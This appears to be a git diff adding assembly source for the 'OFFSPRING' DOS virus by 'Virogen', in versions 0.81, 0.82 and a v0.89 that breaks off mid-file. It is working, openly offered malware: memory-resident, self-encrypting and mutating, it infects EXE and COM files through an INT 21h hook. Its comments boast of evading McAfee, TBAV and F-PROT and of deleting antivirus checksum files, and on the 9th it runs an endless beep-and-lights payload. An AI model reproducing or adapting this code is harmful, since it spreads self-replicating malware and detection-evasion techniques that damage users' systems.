up the keyboard buffer + int 5h ; Print-Screen + mov ax,0a07h ; Write BEEP to screen + xor bh,bh + mov cx,1 + int 10h + mov ah,86h ; Delay + mov cx,0002h + int 15h + + jmp chg_lights + + no_display: + + call install ; check if installed, if not install + + cmp byte ptr vtype[bp],parastic + je com_return + + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ch,0FBh ; tell mem. resident virus + mov ax,4b00h ; that it's us. + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp + mov cx,4 ; Restore original first + add si,offset org_bytes ; five bytes of COM file + mov di,0100h + cld + rep movsb + + mov ax,0100h ; Simulate CALL return to 0100h + push ax + ret + +main endp + +;-------------------------------------- +; INSTALL - Install the virus +;-------------------------------------- + +install proc + + mov ah,signal + int 21h + cmp ah,reply + je no_install + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in + ;the chain? + jne no_install + + + mov ax,ds: [3] ;Block size in MCB + sub ax,190 ;Shrink Block Size-quick estimate + mov ds: [3],ax + + mov bx,ax + mov ax,es + add ax,bx + mov es,ax ;Find high memory seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start) + mov ax,ds + inc ax + mov ds,ax + mov di,100h ; New location in high memory + cld + rep movsb ; Copy virus to high memory + + push es + pop ds + xor ax,ax + mov es,ax ; null es + mov ax,es: [21h*4+2] + mov bx,es: [21h*4] + mov ds: old21_seg,ax ; Store segment + mov ds: old21_ofs,bx ; Store offset + + cli + + mov es: [21h*4+2],ds ; Save seg + lea ax, new21 + mov es: [21h*4],ax ; off + + sti + + no_install: + push cs ; Restore regs + pop ds + push cs + pop es + + ret +install endp + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 + no: + cmp ax,4b00h ; exec func? + jne end_21 + cmp ch,0FBh ; don't infect when the virus + jne run_res ; executes a file + + jmp end_21 + + run_res: + pushf + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs + pop ds + + xor ax,ax ; nullify ES + mov es,ax + + cmp byte ptr add_mem,1 ; Restore system conventional mem size? + je rel_mem ; + cmp ah,48h ; alloc. mem block? If so we subtract 3k from + je set_mem ; total system memory. + + jmp no_mem_func + + set_mem: + sub word ptr es: [413h],3 ; Subtract 3k from total sys mem + inc byte ptr add_mem ; make sure we know to add this back + jmp no_mem_func + rel_mem: + add word ptr es: [413h],3 ; Add 3k to total sys mem + dec byte ptr add_mem + + + no_mem_func: + mov ah,2fh + int 21h ; Get the DTA + + mov ax,es + mov word ptr old_dta,bx + mov word ptr old_dta+2,ax + push cs + pop es + + call resident ; Call infection kernal + + mov dx,word ptr old_dta + mov ax,word ptr old_dta+2 + mov ds,ax + mov ah,1ah + int 21h ; Restore the DTA + + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +new21 endp ; End of handler + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +resident proc + + mov byte ptr vtype,spawn + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset fname1 ; Set search for *.EXE + mov word ptr mov_di,offset enc_data+2 + + find_first: + mov word ptr vend,0 ; Clear ff/fn buffer + lea si, vend + lea di, vend+2 + mov cx, 22 + cld + rep movsw + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + mov ah, 1ah + lea dx, vend + int 21h + + mov ah, 4eh ; Findfirst + mov cx, 0 ; Set normal file attribute search + mov dx, fname_off + int 21h + + jnc next_loop ; if still finding files then loop + jmp end_prog + + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + + mov ah,47h + xor dl,dl + lea si,file_dir + int 21h + + cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp find_file + + ok_find: + xor bx,bx + lm3 : ; find end of directory name + inc bx + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,vend[f_name] + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + mov bx,1eh + + loop_me: ; search for filename ext. + inc bx + cmp byte ptr vend[bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr vend [bx],'OC' + mov byte ptr vend [bx+2],'M' + + + start_inf: + + cmp byte ptr vtype, parastic ; parastic infection? + je parastic_inf ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + + lea dx, vend[f_name] + mov ah, 3ch ; Create file + mov cx, 02h ; READ-ONLY + or cx, 01h ; Hidden + int 21h ; Call INT 21H + jnc contin ; If Error-probably already infected + jmp no_infect + contin: + + inc inf_count + mov bx,ax + + jmp encrypt_ops +;---------------------------------------- +; Parastic infection + + parastic_inf : + + cmp word ptr vend+f_sizeh,400h + jge cont_inf2 + jmp no_infect + + cont_inf2: + + lea si,vend+f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + cld + repe cmpsb + + jne cont_inf0 ; Yes, don't infect + jmp no_infect + + cont_inf0: + + mov ax,3d02h ; Open file for reading & writing + lea dx,vend+f_name ; Filename in FF/FN buffer + int 21h + + jnc cont_inf1 ; error, skip infection + jmp no_infect + + cont_inf1: + + + mov bx,ax + + mov ah,3fh ; Read first bytes of file + mov cx,04 + lea dx,org_bytes + int 21h + + cmp word ptr org_bytes,0e990h + jne cont_inf + mov ah,3eh + int 21h + jmp no_infect + +cont_inf: + inc inf_count + mov ax,4202h ; Set pointer to end of file, so we + xor cx,cx ; can find the file size + xor dx,dx + int 21h + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data+2 + mov word ptr mov_di,ax ; chg mov di,xxxx + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + mov ax,word ptr vend+f_sizeh + sub ax,4 + mov word ptr new_jmp+1,ax + + + mov ah,40h + mov cx,4 + lea dx,new_code + int 21h + + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + + +encrypt_ops: + +;----------------------------- +; Change encryptions ops + + push bx + + cmp pad_bytes,50 + je reset_pad + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr + jmp pad_ok + reset_pad: + mov ax,pad_bytes + sub word ptr b_wr,ax + xor ax,ax + mov pad_bytes,ax + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 + dec inc_op + dec byte ptr xor_op+1 + dec di_op + dec byte ptr enc_addr + dec byte ptr enc_add+1 + jmp chg_three + set2: + inc inc_op + inc byte ptr xor_op+1 + inc di_op + inc byte ptr enc_addr + inc byte ptr enc_add+1 + +chg_three: + mov ah,inc_op + xor cx,cx + lea di,sw_byte3 +chg_four: + xor bx,bx ; Switch INC xx's location + cmp word ptr [di],9090h + je mov_pos + inc bx + inc bx + cmp byte ptr [di+1],90h ; is second byte not 90h + je mov_pos + dec bx +mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd) + mov byte ptr [di+2],90h ; to NOP + mov byte ptr [di+bx],ah ; place inc xx in other byte + + lea di,sw_byte4 + inc cx + cmp cx,1 + je chg_four +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +d2: + mov ah,2ch ; + int 21h ; Get random number from clock - millisecs + + mov word ptr xor_op+2,dx ; save encryption # + + + mov si,0100h + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb ; copy virus outside of code + + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+52 ; offset of new copy of virus + +go_enc: + mov byte ptr ret_byte,0c3h + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h + +;---------------------------------------- +; Write and close new infected file + + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr vend[f_time] + mov dx,word ptr vend[f_date] + int 21h + + +close: + mov ah, 3eh + int 21h + + +no_infect: + +; Find next file + find_file : + + cmp inf_count, max_inf + je end_prog + mov ah,4fh + int 21h + jc end_prog + jmp next_loop + + + end_prog: + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first + + + find_done: + mov byte ptr vtype,spawn + mov fname_off, offset fname1 + ret +resident endp + +vtype db spawn ; Infection type +rot_num dw 0000 ; Used when replacing bytes with OP_SET +inf_count db 0 ; How many files we have infected this run +com_name db 'COMMAND.COM' ; obvious +new_code db 90h +new_jmp db 0e9h,00,00 ; New Jump +org_bytes db 5 dup(0) ; original first five bytes of parastic inf. +pad_bytes dw 0 ; Increase in viru size +add_mem db 0 ; Add memory back? +old_dta dd 0 ; Old DTA Segment:Address +inc_op db 47h ; INC DI (47h) or INC SI (46h) + +copyr db '(c)1993 negoriV' ; my copyright +vname db 0ah,0dh,'OFFSPRING V0.81','$' + +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +fname_off dw fname1 ; Offset of Filespec to use +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; +vend: ; End of virus + +cseg ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.offspr82.asm b/MSDOS/Virus.MSDOS.Unknown.offspr82.asm new file mode 100644 index 00000000..e7a152fc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.offspr82.asm @@ -0,0 +1,671 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.82 - BY VIROGEN - 09-06-93 +; ************************************************ +; +; - Compatible with : TASM /m2 +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : 0.82 +; - No longer detectable by Mcafee SCAN as anything. +; - No longer detectable by TBAV heuristics. +; +; +; INFECTION METHOD : Everytime DOS function 4Bh (Execute File) +; is called the virus will infect up to 5 files +; in the current directory. It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; encryption routine switches from using di to si. +; Not anything overly amazing, but it works. +; +; +; +; + title offspring_1 + .286 +cseg segment + assume cs: cseg, ds: cseg, ss: cseg, es: cseg + +signal equ 7dh ; Installation check +reply equ 0fch ; reply to check +f_name equ 1eh ; Offset of file name in FF/FN buffer +f_sizel equ 1ch ; File size - low - loc in mem +f_sizeh equ 1ah ; File size - high - loc in mem +f_date equ 18h ; File date - loc in mem +f_time equ 16h ; File time - loc in mem +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection + + org 100h ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +start: + + skip_dec: + jmp main ; Skip decryption, changes into NOP on + ; replicated copies. + di_op db 0bfh + mov_di dw offset enc_data+2 ; Point to byte after encryption num + ; +;------------------------- +; Encryption/Decryption + +encrypt: +cx_m db 90h,0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)/2 +xor_loop: + xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly + sw_byte3: ; INC xx changes position in these bytes + inc di + nop + nop + sw_byte4: + inc di + nop + nop + loop xor_loop ; loop while cx != 0 + + ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP + +enc_data: ; Start of encrypted data + +;------------------------------- +; Non-Resident portion of virus +;------------------------------- +main proc + + db 0bdh ; MOV BP,xxxx - Load delta offset + set_bp: + dw 0000 + + mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for EXEC + mov par2[bp],cs + mov par_seg[bp],cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,9 ; 9th? + jne no_display + + mov ah,09 ; display virus name + lea dx,vname[bp] + int 21h + + xor ax,ax ; seg 0 + mov es,ax + mov dx,1010101010101010b ; lights + chg_lights: ; Infinite loop to change keyboard + mov word ptr es: [416h],dx ; 0040:0016h = keyb flags + ror dx,1 ; rotate bits + mov cx,0101h ; scan code/ascii + mov ah,05h ; push a beep onto keyb buf + int 16h + mov ah,10h ; Read key back so we don't fill + int 16h ; up the keyboard buffer + int 5h ; Print-Screen + mov ax,0a07h ; Write BEEP to screen + xor bh,bh + mov cx,1 + int 10h + mov ah,86h ; Delay + mov cx,0002h + int 15h + + jmp chg_lights + + no_display: + + call install ; check if installed, if not install + + cmp byte ptr vtype[bp],parastic + je com_return + + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ch,0FBh ; tell mem. resident virus + mov ax,4b00h ; that it's us. + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp + mov cx,6 ; Restore original first + add si,offset org_bytes ; six bytes of COM file + mov di,0100h + cld + rep movsb + + mov ax,0100h ; Simulate CALL return to 0100h + push ax + ret + +main endp + +;-------------------------------------- +; INSTALL - Install the virus +;-------------------------------------- + +install proc + + mov ah,signal + int 21h + cmp ah,reply + je no_install + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in + ;the chain? + jne no_install + + + mov ax,ds: [3] ;Block size in MCB + sub ax,190 ;Shrink Block Size-quick estimate + mov ds: [3],ax + + mov bx,ax + mov ax,es + add ax,bx + mov es,ax ;Find high memory seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start) + mov ax,ds + inc ax + mov ds,ax + mov di,100h ; New location in high memory + cld + rep movsb ; Copy virus to high memory + + push es + pop ds + xor ax,ax + mov es,ax ; null es + mov ax,es: [21h*4+2] + mov bx,es: [21h*4] + mov ds: old21_seg,ax ; Store segment + mov ds: old21_ofs,bx ; Store offset + + cli + + mov es: [21h*4+2],ds ; Save seg + lea ax, new21 + mov es: [21h*4],ax ; off + + sti + + no_install: + push cs ; Restore regs + pop ds + push cs + pop es + + ret +install endp + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 + no: + cmp ax,4b00h ; exec func? + je exec_func + + jmp end_21 + + exec_func: + cmp ch,0FBh + je end_21 + run_res: + pushf + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs + pop ds + + xor ax,ax ; nullify ES + mov es,ax + + cmp byte ptr add_mem,1 ; Restore system conventional mem size? + je rel_mem ; + cmp ah,48h ; alloc. mem block? If so we subtract 3k from + je set_mem ; total system memory. + + jmp no_mem_func + + set_mem: + sub word ptr es: [413h],3 ; Subtract 3k from total sys mem + inc byte ptr add_mem ; make sure we know to add this back + jmp no_mem_func + rel_mem: + add word ptr es: [413h],3 ; Add 3k to total sys mem + dec byte ptr add_mem + + + no_mem_func: + mov ah,2fh + int 21h ; Get the DTA + + mov ax,es + mov word ptr old_dta,bx + mov word ptr old_dta+2,ax + push cs + pop es + + call resident ; Call infection kernal + + mov dx,word ptr old_dta + mov ax,word ptr old_dta+2 + mov ds,ax + mov ah,1ah + int 21h ; Restore the DTA + + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +new21 endp ; End of handler + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +resident proc + + mov byte ptr vtype,spawn + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset fname1 ; Set search for *.EXE + mov word ptr mov_di,offset enc_data+2 + + find_first: + mov word ptr vend,0 ; Clear ff/fn buffer + lea si, vend + lea di, vend+2 + mov cx, 22 + cld + rep movsw + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + mov ah, 1ah + lea dx, vend + int 21h + + mov ah, 4eh ; Findfirst + mov cx, 0 ; Set normal file attribute search + mov dx, fname_off + int 21h + + jnc next_loop ; if still finding files then loop + jmp end_prog + + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + + mov ah,47h + xor dl,dl + lea si,file_dir + int 21h + + cmp word ptr vend[f_sizel],0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp find_file + + ok_find: + xor bx,bx + lm3 : ; find end of directory name + inc bx + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,vend[f_name] + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + mov bx,1eh + + loop_me: ; search for filename ext. + inc bx + cmp byte ptr vend[bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr vend [bx],'OC' + mov byte ptr vend [bx+2],'M' + + + start_inf: + + cmp byte ptr vtype, parastic ; parastic infection? + je parastic_inf ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + + lea dx, vend[f_name] + mov ah, 3ch ; Create file + mov cx, 02h ; READ-ONLY + or cx, 01h ; Hidden + int 21h ; Call INT 21H + jnc contin ; If Error-probably already infected + jmp no_infect + contin: + + inc inf_count + mov bx,ax + + jmp encrypt_ops +;---------------------------------------- +; Parastic infection + + parastic_inf : + + cmp word ptr vend+f_sizeh,400h + jge cont_inf2 + jmp no_infect + + cont_inf2: + + lea si,vend+f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + cld + repe cmpsb + + jne cont_inf0 ; Yes, don't infect + jmp no_infect + + cont_inf0: + + mov ax,3d02h ; Open file for reading & writing + lea dx,vend+f_name ; Filename in FF/FN buffer + int 21h + + jnc cont_inf1 ; error, skip infection + jmp no_infect + + cont_inf1: + + + mov bx,ax + + mov ah,3fh ; Read first bytes of file + mov cx,06 + lea dx,org_bytes + int 21h + + cmp word ptr org_bytes,09090h + jne cont_inf + mov ah,3eh + int 21h + jmp no_infect + +cont_inf: + inc inf_count + mov ax,4202h ; Set pointer to end of file, so we + xor cx,cx ; can find the file size + xor dx,dx + int 21h + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data+2 + mov word ptr mov_di,ax ; chg mov di,xxxx + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + + mov ax,word ptr vend+f_sizeh + sub ax,6 + mov word ptr new_jmp+1,ax + + + mov ah,40h + mov cx,6 + lea dx,new_code + int 21h + + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + + +encrypt_ops: + +;----------------------------- +; Change encryptions ops + + push bx + + cmp pad_bytes,50 + je reset_pad + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr + jmp pad_ok + reset_pad: + mov ax,pad_bytes + sub word ptr b_wr,ax + xor ax,ax + mov pad_bytes,ax + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 + dec inc_op + dec byte ptr xor_op+1 + dec di_op + dec byte ptr enc_addr + dec byte ptr enc_add+1 + jmp chg_three + set2: + inc inc_op + inc byte ptr xor_op+1 + inc di_op + inc byte ptr enc_addr + inc byte ptr enc_add+1 + +chg_three: + mov ah,inc_op + xor cx,cx + lea di,sw_byte3 +chg_four: + xor bx,bx ; Switch INC xx's location + cmp word ptr [di],9090h + je mov_pos + inc bx + inc bx + cmp byte ptr [di+1],90h ; is second byte not 90h + je mov_pos + dec bx +mov_pos: mov word ptr [di],9090h ; set all three bytes (of 3rd) + mov byte ptr [di+2],90h ; to NOP + mov byte ptr [di+bx],ah ; place inc xx in other byte + + lea di,sw_byte4 + inc cx + cmp cx,1 + je chg_four +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +d2: + mov ah,2ch ; + int 21h ; Get random number from clock - millisecs + + mov word ptr xor_op+2,dx ; save encryption # + + + mov si,0100h + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb ; copy virus outside of code + + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+52 ; offset of new copy of virus + +go_enc: + mov byte ptr ret_byte,0c3h + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h + +;---------------------------------------- +; Write and close new infected file + + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr vend[f_time] + mov dx,word ptr vend[f_date] + int 21h + + +close: + mov ah, 3eh + int 21h + + +no_infect: + +; Find next file + find_file : + + cmp inf_count, max_inf + je end_prog + mov ah,4fh + int 21h + jc end_prog + jmp next_loop + + + end_prog: + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first + + + find_done: + mov byte ptr vtype,spawn + mov fname_off, offset fname1 + ret +resident endp + +vtype db spawn ; Infection type +rot_num dw 0000 ; Used when replacing bytes with OP_SET +inf_count db 0 ; How many files we have infected this run +com_name db 'COMMAND.COM' ; obvious +new_code db 90h,90h,90h ; preceed with three NOPs +new_jmp db 0e9h,00,00 ; New Jump +org_bytes db 7 dup(0) ; original first six bytes of parastic inf. +pad_bytes dw 0 ; Increase in viru size +add_mem db 0 ; Add memory back? +old_dta dd 0 ; Old DTA Segment:Address +inc_op db 47h ; INC DI (47h) or INC SI (46h) + +copyr db '(c)1993 negoriV' ; my copyright +vname db 0ah,0dh,'OFFSPRING V0.82','$' + +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +fname_off dw fname1 ; Offset of Filespec to use +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; +vend: ; End of virus + +cseg ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.offspr89.asm b/MSDOS/Virus.MSDOS.Unknown.offspr89.asm new file mode 100644 index 00000000..70f51924 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.offspr89.asm @@ -0,0 +1,903 @@ +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ************************************************ +; OFFSPRING v0.89 - BY VIROGEN - 10-03-93 +; ************************************************ +; - Compatible with : TASM /m2 +; +; +; .. Welcome to another virogen viral creation! I'm supplying this source +; code so hopefully beginners in the art of virus writing can learn something +; from it. Please don't hack up this code and put your name on it.. thank +; ya, thank ya very much! Oh yea, one more thing.. say whoever gave Mcafee +; a real OLD version of this virus, just keep giving him that same one eh? +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : 0.89 +; - No longer detectable by TBAV heuristics. +; - No longer detectable by FPROT heuristics. +; - Infects on dir and drive change when no program running. +; deletes ANTI-VIR.DAT and CHKLST.* files at the same time. +; - finally went through and somewhat cleaned up the messy code +; at least a little bit. +; - mutation is improved +; +; + title offspring_1 +cseg segment + assume cs: cseg, ds: cseg, ss: cseg, es: cseg + +signal equ 7dh ; Installation check +reply equ 0fch ; reply to check + +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection + + org 100h ; Leave room for PSP + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- +; Start of viral code +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +start: + +new_code db 0B8h ; MOV NN,xxxx + dw main ; main +push_reg db 50h ; PUSH NN + db 0C3h ; RET - jump to NN + db 0E9h ; id byte - not code +trick_jmp db 0E9h ; fake jump - f00l tbav + dw 5999 ; random number 0-5999 + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- +; Encryption/Decryption +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- +_enc: + di_op db 0bfh ; MOV DI|SI,XXXX + mov_di dw offset enc_data ; Point to byte after encryption num +encrypt: +cx_m db 90h,0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)/2 +xor_loop: +xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly +fill_space: inc ax ; This is filled with INC XX's + inc ax ; kill F-PROT heuristic detection + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + inc ax ; + sw_byte3: ; INC SI|DI changes position in these bytes + inc di ; INC SI|DI + inc ax ; INC xx + inc ax ; INC xx +sw_byte4: + inc di ; INC SI|DI + inc ax ; INC xx + inc ax ; INX xx + loop xor_loop ; loop while cx != 0 + +ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP + +enc_data: ; Start of encrypted data + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Non-Resident portion of virus +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +main proc + + db 0bdh ; MOV BP,xxxx - Load delta offset +set_bp: dw 0000 + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for spawn + mov par2[bp],cs + mov par_seg[bp],cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,9 ; 9th? + jne no_display + + show_myself: + mov ah,09 ; display virus name + lea dx,v_id[bp] + int 21h + + xor ax,ax ; seg 0 + mov es,ax + mov dx,1010101010101010b ; lights + chg_lights: ; Infinite loop to change keyboard + mov word ptr es: [416h],dx ; 0040:0016h = keyb flags + ror dx,1 ; rotate bits + mov cx,0101h ; scan code/ascii + mov ah,05h ; push a beep onto keyb buf + int 16h + mov ah,10h ; Read key back so we don't fill + int 16h ; up the keyboard buffer + int 5h ; Print-Screen + mov ax,0a07h ; Write BEEP to screen + xor bh,bh + mov cx,1 + int 10h + mov ah,86h ; Delay + mov cx,0002h + int 15h + + jmp chg_lights + + no_display: + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; INSTALL - Install the virus in memory + + mov ah,signal ; is virus already in mem? + int 21h + cmp ah,reply ; + jne cont_i ; nope.. continue + jmp no_install ; yes.. don't install again + cont_i: + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in + ;the chain? + je cont_i2 + jmp no_install + cont_i2: + + + mov ax,ds: [3] ;Block size in MCB + sub ax,230 ;Shrink Block Size-quick estimate + mov ds: [3],ax + + mov bx,ax + mov ax,es + add ax,bx + mov es,ax ;Find high memory seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start) + mov ax,ds + inc ax + mov ds,ax + mov di,100h ; New location in high memory + cld + rep movsb ; Copy virus to high memory + + push es + pop ds + xor ax,ax + mov es,ax ; null es + mov ax,es: [21h*4+2] ; store old int addresses + mov bx,es: [21h*4] + mov ds: old21_seg,ax + mov ds: old21_ofs,bx + mov ax, es: [20h*4+2] + mov bx, es:[20h*4] + mov ds: old_20_seg,ax + mov ds: old_20_ofs,bx + mov ax, es:[27h*4+2] + mov bx, 